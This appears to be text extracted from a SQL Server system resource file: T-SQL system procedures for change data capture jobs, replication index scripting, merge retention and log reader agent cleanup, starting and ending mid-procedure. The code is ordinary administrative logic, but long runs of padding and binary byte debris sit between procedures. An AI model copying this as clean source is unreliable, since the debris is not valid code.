    if (@job_type = N'cleanup') and (@threshold <= 0) 
	begin
		raiserror(22850, 16, -1)
		return(1)
	end
	
	-- maxtrans must be greater than 0
	if (@job_type = N'capture') and (@maxtrans <= 0)
	begin
		raiserror(22991, 16, -1)
		return(1)
	end
	
	-- maxscans must be greater than 0
	if (@job_type = N'capture') and (@maxscans <= 0)
	begin
		raiserror(22970, 16, -1)
		return(1)
	end
	
	-- Call internal stored procedure to create the job
	exec @retval = sys.sp_cdc_add_job_internal
	    @job_type,
		@start_job,
		@maxtrans,
		@maxscans,
		@continuous,
		@pollinginterval,
		@retention,
		@threshold
	
    if @retval <> 0 or @@error <> 0
        return (1)

	return 0	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`=<(	B
00&I@ x8create procedure sys.sp_cdc_drop_job_internal
(
	@job_type nvarchar(20)
)
with execute as 'dbo'
as
begin
    set nocount on

    declare @database_id    int
           ,@job_id         uniqueidentifier
           ,@retcode        int
           ,@action nvarchar(1000)
           ,@raised_error	int
           ,@raised_message	nvarchar(4000)
           ,@trancount		int
           ,@db_name		sysname
           
    set @db_name = db_name()
    set @raised_error = 0       

    -- Wrap transaction logic in TRY/CATCH block
    BEGIN TRY
    
		set @trancount = @@trancount
		
		begin tran
		save tran sp_cdc_drop_job 

		select @database_id = db_id()
   
		if object_id('msdb.dbo.cdc_jobs') is not null
		begin 
			select @job_id = job_id 
			from msdb.dbo.cdc_jobs 
			where database_id = @database_id
			and job_type = @job_type
    
			if @job_id is not null
			begin
				-- drop the job
				set @action = N'msdb.dbo.sp_delete_job'
				exec msdb.dbo.sp_delete_job @job_id = @job_id
       
				-- remove the record from cdc_jobs
				set @action = N'delete from msdb.dbo.cdc_jobs'
				delete from msdb.dbo.cdc_jobs 
					where database_id = @database_id and job_id = @job_id
    
				-- if this is the last job, drop the table
				if not exists (select database_id from msdb.dbo.cdc_jobs)
				begin
					set @action = N'drop table msdb.dbo.cdc_jobs'
					drop table msdb.dbo.cdc_jobs
				end	
			end
		end

		commit tran
		
	END TRY
	
	BEGIN CATCH
	
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_cdc_drop_job
				commit tran
			end
		end
		
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	if @raised_error = 0
		return 0
		
	raiserror(22835, 16, -1, @db_name, @action, @raised_error, @raised_message)	
    return 1
end
0 P8|@h(
>)
R*
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`t<%C
81_xK%07o/@ !8
--
-- Name:    
--          sp_IHScriptIdxFile
--          
-- Description: 
--          Script snaphot IDX file contents
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) with commands
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHScriptIdxFile
(
	@article_id int
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @scriptConstraints	bit
    DECLARE @schemaOption		int
    DECLARE @pubtype			int
    DECLARE @useClustered		bit
    DECLARE @useUnique			bit

	SET NOCOUNT ON 

	-- security check, db_owner
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- create temp table for command fragments
	create table #proctext
	(
		seq				int identity NOT NULL,
		procedure_text	nvarchar(4000) collate database_default
	)

	-- Get article/publication info
	SELECT	@schemaOption = CONVERT(INT, fn_replprepadbinary8(iha.schema_option)),
			@pubtype = ihp.repl_freq
	FROM	dbo.IHarticles iha,
			dbo.IHpublications ihp
	WHERE	ihp.pubid = iha.publication_id
	  AND	iha.article_id = @article_id

	-- Decide if CLUSTERED PK is requested
	IF ((@schemaOption & 0x10) <> 0)
	BEGIN
		SET @useClustered = 1
	END
	ELSE
	BEGIN
		SET @useClustered = 0
	END
	
	-- Script constraints
	-- Check to see if 0x8000 set for ALTER TABLE syntax
	IF ((@schemaOption & 0x8000) <> 0)
	BEGIN
		-- Script primary key constraints
		-- Check to see if 0x80 set for PRIMARY KEY replication
		IF (((@schemaOption & 0x80) <> 0) OR (@pubtype = 0))
		BEGIN
			-- Generate primary key constraints
			exec @retcode = sys.sp_IHscriptprimarykey
								@article_id		= @article_id,
								@useAlterTable	= 1,
								@useClustered	= @useClustered

			IF @retcode != 0 OR @@ERROR != 0
			BEGIN
				SET @retcode = 1
				GOTO RETURNSCRIPT
			END
		END
	END
    
	-- Script non-clustered indexes
	-- Check to see if 0x40 for NON-CLUSTERED INDEXES
	IF ((@schemaOption & 0x40) <> 0)
	BEGIN
		IF (((@schemaOption & 0x4000) <> 0) AND (@schemaOption & 0x8000) <> 0)
		BEGIN
			-- Script UNIQUE as constraints if ALTER TABLE is used
			SET @useUnique = 1
		END
		ELSE
		BEGIN
			-- Don't script UNIQUE since they would have been
			-- scripted as constraints
			SET @useUnique = 0
		END


		-- Generate indexes
		exec @retcode = sys.sp_IHscriptindexes
							@article_id		= @article_id,
							@useAlterTable	= 1,
							@useUnique		= @useUnique

		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			SET @retcode = 1
			GOTO RETURNSCRIPT
		END
	END

RETURNSCRIPT:
	-- Return script fragments
	select	procedure_text
	from	#proctext
	order by seq asc
		
	drop table #proctext

	RETURN @retcode
END
076@ 
8
create procedure sys.sp_MSchange_retention (@pubid uniqueidentifier, @value nvarchar(255))
as
    declare @re_pubid            uniqueidentifier 
    declare @artid                uniqueidentifier
    declare @schemaversion      int 
    declare @schemaguid         uniqueidentifier
    declare @schematype         int
    declare @schematext         nvarchar(2000)
    declare @retcode            int
    declare @SCHEMA_TYPE_RETENTIONCHANGE int

    -- Security check
    exec @retcode = dbo.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1

    set @SCHEMA_TYPE_RETENTIONCHANGE= 9
    
    begin tran
    save tran change_retention

    update dbo.sysmergepublications set retention = convert(int, @value) where pubid = @pubid
    if @@ERROR<>0
        goto UNDO
        
    -- Declare a cursor that iterates over all publications which originate at this node.
    declare #change_retention CURSOR LOCAL FAST_FORWARD for 
        select pubid from dbo.sysmergearticles 
            where pubid<>@pubid and 
                  nickname in (select nickname from dbo.sysmergearticles where pubid=@pubid) and
                  pubid in (select pubid from dbo.sysmergepublications 
                                  where upper(publisher) collate database_default = upper(publishingservername()) collate database_default and
                                        publisher_db = db_name())

    open #change_retention
    fetch #change_retention into @re_pubid
    while (@@fetch_status <> -1)
    BEGIN
        update dbo.sysmergepublications set retention = convert(int, @value) where pubid = @re_pubid
        if @@ERROR<>0
            goto UNDO
        set @schematype= @SCHEMA_TYPE_RETENTIONCHANGE
        set @artid = null
        select @schematext = 'exec dbo.sp_MSchange_retention '+ '''' + convert(nchar(36),@re_pubid) + '''' + ',' + '''' + @value + ''''          
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
        set @schemaguid = newid()
        exec @retcode=sys.sp_MSinsertschemachange @re_pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 
            goto UNDO
        fetch #change_retention into @re_pubid
    END
    close #change_retention
    deallocate #change_retention
    
    COMMIT TRAN
    return (0)
UNDO:
    ROLLBACK tran change_retention
    COMMIT TRAN
    return(1)
0];@ 8create procedure sys.sp_cdc_start_job_internal
(
	@job_type nvarchar(20) = N'capture'
)
with execute as 'dbo'
as
begin
    set nocount on

    declare @job_id uniqueidentifier
           ,@retcode int
           ,@db_name sysname
  
    set @db_name = db_name()
           
	if object_id('msdb.dbo.cdc_jobs') is null
    begin
        raiserror(22993, 16, -1, @db_name)
        return(1)
    end
	
    if not exists
    (
		select * from msdb.dbo.cdc_jobs
		where database_id = db_id()
		and job_type = @job_type
	)
    begin
        raiserror(22997, 16, -1, @job_type)
        return(1)
    end
    
    if object_id('msdb.dbo.cdc_jobs') is not null
    begin
        select @job_id = job_id
            from msdb.dbo.cdc_jobs
            where database_id = db_id()
            and job_type = @job_type

        if @job_id is not null
        begin
            exec @retcode = msdb.dbo.sp_start_job @job_id = @job_id, @error_flag = 0
            if @retcode <> 0 or @@error <> 0
                return(1)
        end
    end

    return(0)
end

--
-- Name: [sys].[sp_cdc_start_job]
--
-- Description:
--	Starts the CDC job if it exists
--
-- Parameters: 
--   @job_type	'capture' (default), 'cleanup'
--
--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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`TN<D
M1&-.0 8create procedure sys.sp_MSdrop_logreader_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname  --Only used by 3rd party publisher
) AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    DECLARE @agent_id   int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_logreader_agent', 'distribution')
        return (1)
    end
    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)


    SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id FROM MSlogreader_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication

    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Logreader", @name)

    -- Return if not exists
    IF @local_job IS NULL
        RETURN(0)

    BEGIN TRAN

    IF @local_job = 1
    BEGIN
        -- Don't drop the job for third party publications.
        if exists (select * from msdb..MSdistpublishers where 
            UPPER(name) = UPPER(@publisher) and
            thirdparty_flag = 0)
        begin                           
            IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
            BEGIN
                -- Checks if the job name matches one that is generated 
                -- by replication
                EXEC @retcode = sys.sp_MSislogreaderjobnamegenerated
                                    @publisher = @publisher,
                                    @publisher_db = @publisher_db,
                                    @job_id = @job_id
                IF @@ERROR <> 0 
                    GOTO UNDO
                
                -- Only drop the job if the name was generated
                IF @retcode = 0
                BEGIN
                    EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
                    										@job_step_uid = @job_step_uid
                    IF @@ERROR <> 0 or @retcode <> 0
                        GOTO UNDO
                END
            END
        end
    END

    DELETE MSlogreader_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO

    -- Remove history
    DELETE MSlogreader_history WHERE
        agent_id = @agent_id

    IF @@ERROR <> 0 
        GOTO UNDO

    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
0 8
create procedure sys.sp_table_privileges_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR         = s_tpv.GRANTOR,
        GRANTEE         = s_tpv.GRANTEE,
        TABLE_CATALOG   = s_tpv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tpv.TABLE_SCHEMA,
        TABLE_NAME      = s_tpv.TABLE_NAME,
        PRIVILEGE_TYPE  = s_tpv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_tpv.IS_GRANTABLE
    from
        sys.spt_table_privileges_view s_tpv
    where
        s_tpv.TABLE_NAME = @table_name and
        (@table_schema is null or @table_schema = s_tpv.TABLE_SCHEMA) and
        (@grantee is null or @grantee = s_tpv.GRANTEE) and
        (@grantor is null or @grantor = s_tpv.GRANTOR)
    order by 4,5,6,1,2
0 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_table_privileges_rowset;2
(
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        GRANTOR         = s_tpv.GRANTOR,
        GRANTEE         = s_tpv.GRANTEE,
        TABLE_CATALOG   = s_tpv.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tpv.TABLE_SCHEMA,
        TABLE_NAME      = s_tpv.TABLE_NAME,
        PRIVILEGE_TYPE  = s_tpv.PRIVILEGE_TYPE,
        IS_GRANTABLE    = s_tpv.IS_GRANTABLE
    from
        sys.spt_table_privileges_view s_tpv
    where
        (@table_schema is null or @table_schema = s_tpv.TABLE_SCHEMA) and
        (@grantee is null or @grantee = s_tpv.GRANTEE) and
        (@grantor is null or @grantor = s_tpv.GRANTOR)
    order by 4,5,6,1,2
0 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_table_privileges_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR,
        GRANTEE,
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        PRIVILEGE_TYPE,
        IS_GRANTABLE
    from
        sys.fn_remote_table_privileges (@table_server,
                                        @table_catalog,
                                        @table_schema,
                                        @table_name,
                                        @grantor,
                                        @grantee)
    order by 3,4,5,6,1,2
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h`?<E
F0כY@ 8create procedure sys.sp_MSpad_command (
    @cmd     nvarchar(4000) output,
    @indent  int = 0)  -- indent for command buffer (for pretty formatting
as
BEGIN
    declare
        @cnt int
        ,@num_tabs int
        ,@num_spaces int

    select @cmd = N''
    select @num_tabs = @indent / 4
    select @num_spaces = @indent % 4

    select @cnt = 0
    while (@cnt < @num_tabs)
    begin
        select @cmd = @cmd + N'    '
        select @cnt = @cnt + 1
    end

    select @cnt = 0
    while (@cnt < @num_spaces)
    begin
        select @cmd = @cmd + N' '
        select @cnt = @cnt + 1
    end
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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varchar(1000)
		,@fn_all_changes nvarchar(1000)
		,@fn_net_changes nvarchar(1000)
		,@stmt nvarchar(1000)
		,@sp_insdel_proc nvarchar(1000)
		,@sp_upd_proc nvarchar(1000)
		,@sp_batchinsert_proc nvarchar(1000)
		,@object_id int
		
    set nocount on
		
	set @change_table   = N'[cdc].' + quotename( @capture_instance + N'_CT')
	set @object_id      = object_id(@change_table)
	set @fn_all_changes = N'[cdc].' + quotename( N'fn_cdc_get_all_changes' +  N'_' + @capture_instance)
	set @fn_net_changes = N'[cdc].' + quotename( N'fn_cdc_get_net_changes' +  N'_' + @capture_instance)
	set @sp_insdel_proc = N'[cdc].' + quotename( N'sp_insdel_' + convert(nvarchar(10),@object_id) )
	set @sp_upd_proc    = N'[cdc].' + quotename( N'sp_upd_' + convert(nvarchar(10),@object_id) )
	set @sp_batchinsert_proc    = N'[cdc].' + quotename( N'sp_batchinsert_' + convert(nvarchar(10),@object_id) )
	
	if object_id (@fn_all_changes, 'IF') is not null
	begin
		set @stmt = N'drop function ' + @fn_all_changes
		exec (@stmt)
	end
		
	if object_id (@fn_net_changes, 'IF') is not null
	begin
		set @stmt = N'drop function ' + @fn_net_changes
		exec (@stmt)
	end
	
	if object_id (@sp_upd_proc, 'P') is not null
	begin
		set @stmt = N'drop procedure ' + @sp_upd_proc
		exec (@stmt)
	end

	if object_id (@sp_insdel_proc, 'P') is not null
	begin
		set @stmt = N'drop procedure ' + @sp_insdel_proc
		exec (@stmt)
	end
		
	if object_id (@sp_batchinsert_proc, 'P') is not null
	begin
		set @stmt = N'drop procedure ' + @sp_batchinsert_proc
		exec (@stmt)
	end
	
	if object_id (@change_table, 'U') is not null
	begin
		set @stmt = N'drop table ' + @change_table
		exec (@stmt)
	end	
   
    return 0
end
0ی p8
create function sys.fn_units_until_maxdate(
    @unit_of_time tinyint,
    @curdate datetime
) returns int
as
begin
    declare @units_until_maxdate int
    declare @max_date datetime
    
    select @max_date = convert(datetime, '12/31/9999', 101)
    
    select @units_until_maxdate = 
        case    when @unit_of_time = 0
                    then datediff(dd, @curdate, @max_date)
                when @unit_of_time = 1
                    then datediff(wk, @curdate, @max_date)
                when @unit_of_time = 2
                    then datediff(mm, @curdate, @max_date)
                when @unit_of_time = 3
                    then datediff(yy, @curdate, @max_date)
                when @unit_of_time = 4
                    then datediff(hh, @curdate, @max_date)
                when @unit_of_time = 5
                    then 30000000    -- datediff with @max_date will give overflow error with mins.
                                    -- impose a hard-coded limit of 30000000 minutes.
        end
                    
    return @units_until_maxdate
end
0I 8CREATE VIEW sys.dm_resource_governor_configuration AS
	SELECT *
	FROM OpenRowSet(TABLE DM_RG_CONFIGURATION)
0t@ 
8create procedure sys.sp_cdc_change_job_internal
(
	@job_type nvarchar(20),
	@maxtrans int,
	@maxscans int,
	@continuous bit,
	@pollinginterval bigint,
	@retention bigint,
	@threshold bigint
)
with execute as 'dbo'
as
begin
    set nocount on
    
    declare @db_name sysname
    
    set @db_name = db_name()
    
    if object_id('msdb.dbo.cdc_jobs') is null
    begin
        raiserror(22993, 16, -1, @db_name)
        return(1)
    end
    
    if not exists
    (
		select * from msdb.dbo.cdc_jobs
		where database_id = db_id()
		and job_type = @job_type
	)
    begin
        raiserror(22997, 16, -1, @job_type)
        return(1)
    end
    
    if (@job_type = N'capture') and ((@retention is not null) or (@threshold is not null))
    begin
        raiserror(22995, 16, -1)
        return(1)
    end

    if (@job_type = N'cleanup') and
		((	@pollinginterval is not null) or
		 (	@maxtrans is not null) or
 		 (	@maxscans is not null) or
		 (  @continuous is not null )) 	
    begin
        raiserror(22996, 16, -1)
        return(1)
    end
    
    if (@maxtrans is not null) and (@maxtrans <= 0)
    begin
        raiserror(22991, 16, -1)
        return(1)
    end
    
    if (@maxscans is not null) and (@maxscans <= 0)
    begin
        raiserror(22970, 16, -1)
        return(1)
    end

    -- 24 hour maximum on polling interval
    if (@pollinginterval is not null) and ((@pollinginterval > (60*60*24)) or (@pollinginterval < 0))
	begin
		raiserror(22990, 16, -1)
		return(1)
	end		

    -- if non null, retention must be greater than 0 and less than or equal to 52594800
    if (@retention is not null) and ((@retention <= 0) or (@retention > 52594800))
	begin
		raiserror(22994, 16, -1)
		return(1)
	end
	
    -- if non null, threshold must be greater than 0 
    if (@threshold is not null) and (@threshold <= 0)
	begin
		raiserror(22850, 16, -1)
		return(1)
	end
	
	-- if @continuous = 0, @pollinginterval is automatically
	-- set to 0
	if (@continuous = 0)
		set @pollinginterval = 0
		
	-- if @pollinginterval > 0, @continuous is automatically
	-- set to 1
	if (@pollinginterval > 0)
		set @continuous = 1		

	-- if @continuous = 0, @pollinginterval is automatically
	-- set to 0
	if (@continuous = 0)
		set @pollinginterval = 0
		
	-- if @pollinginterval > 0, @continuous is automatically
	-- set to 1
	if (@pollinginterval > 0)
		set @continuous = 1		
		
	if (@job_type = N'capture')
	begin
		update msdb.dbo.cdc_jobs
		set pollinginterval = @pollinginterval
		where database_id = db_id()
		and job_type = @job_type
		and @pollinginterval is not null

		update msdb.dbo.cdc_jobs
		set continuous = @continuous
		where database_id = db_id()
		and job_type = @job_type
		and @continuous is not null

		update msdb.dbo.cdc_jobs
		set maxtrans = @maxtrans
		where database_id = db_id()
		and job_type = @job_type
		and @maxtrans is not null
		
		update msdb.dbo.cdc_jobs
		set maxscans = @maxscans
		where database_id = db_id()
		and job_type = @job_type
		and @maxscans is not null
	end	
	else
	begin
		update msdb.dbo.cdc_jobs
		set retention = @retention
		where database_id = db_id()
		and job_type = @job_type
		and @retention is not null
		
		update msdb.dbo.cdc_jobs
		set threshold = @threshold
		where database_id = db_id()
		and job_type = @job_type
		and @threshold is not null
	end
	
    return(0)
end
00 /8create function sys.fn_MSisfilteredcolumn (
        @filter_clause nvarchar(max), @column sysname, @objid int) 
returns bit
AS
begin
	declare @retvalue bit, @is_udt_col bit
	
	select @is_udt_col = 0
	
	if @objid is not null
	begin
		if exists (select * from sys.columns where object_id = @objid and name = @column and system_type_id = 240)
			select @is_udt_col = 1
	end
	
	if @is_udt_col = 0
	begin
	
		if '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '[^a-zA-Z0-9_$#@.!]]%' ESCAPE '!'
			or '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '!][^a-zA-Z0-9_$#@.]%' ESCAPE '!'
			select @retvalue = 1
		else
			select @retvalue = 0
	end
	else
	begin
		-- With UDT columns, even if there is a period ('.') after an identifier name, the identifier can be the name
		-- of the UDT column. 
		
		if '((' + @filter_clause + '))' like '%[^a-zA-Z0-9_$#@]' + @column + '[^a-zA-Z0-9_$#@]%'
			select @retvalue = 1
		else
			select @retvalue = 0
	end
		
	return @retvalue
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{0`<5G
Z+ l0PR 8
create procedure sys.sp_tables_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @table_type         sysname = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('%', @table_catalog),0) = 0) and
            (isnull(charindex('[', @table_catalog),0) = 0) and
            (isnull(charindex('_', @table_catalog),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@table_server, '@table_server = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@table_catalog, '@table_catalog = null')
        print isnull(@table_type, '@table_type = null')
        print '*************'
        */
        select
            TABLE_CAT   = rt.TABLE_CATALOG,
            TABLE_SCHEM = rt.TABLE_SCHEMA,
            TABLE_NAME  = rt.TABLE_NAME,
            TABLE_TYPE  = rt.TABLE_TYPE,
            REMARKS     = convert(nvarchar(255),rt.DESCRIPTION)
        from
            -- We can not pass @table_type directly here, because in ODBC we enclose
            -- it in '', which is not acceptable for OLEDB SProc.
            sys.fn_remote_tables(@table_server,
                                 @table_catalog,
                                 @table_schema,
                                 @table_name,
                                 NULL) rt
        where
            (charindex ('' + TABLE_TYPE + '', @table_type) <> 0 or @table_type is NULL)
        order by 4, 1, 2, 3
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_server, '@table_server = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@table_catalog, '@table_catalog = null')
        print isnull(@table_type, '@table_type = null')
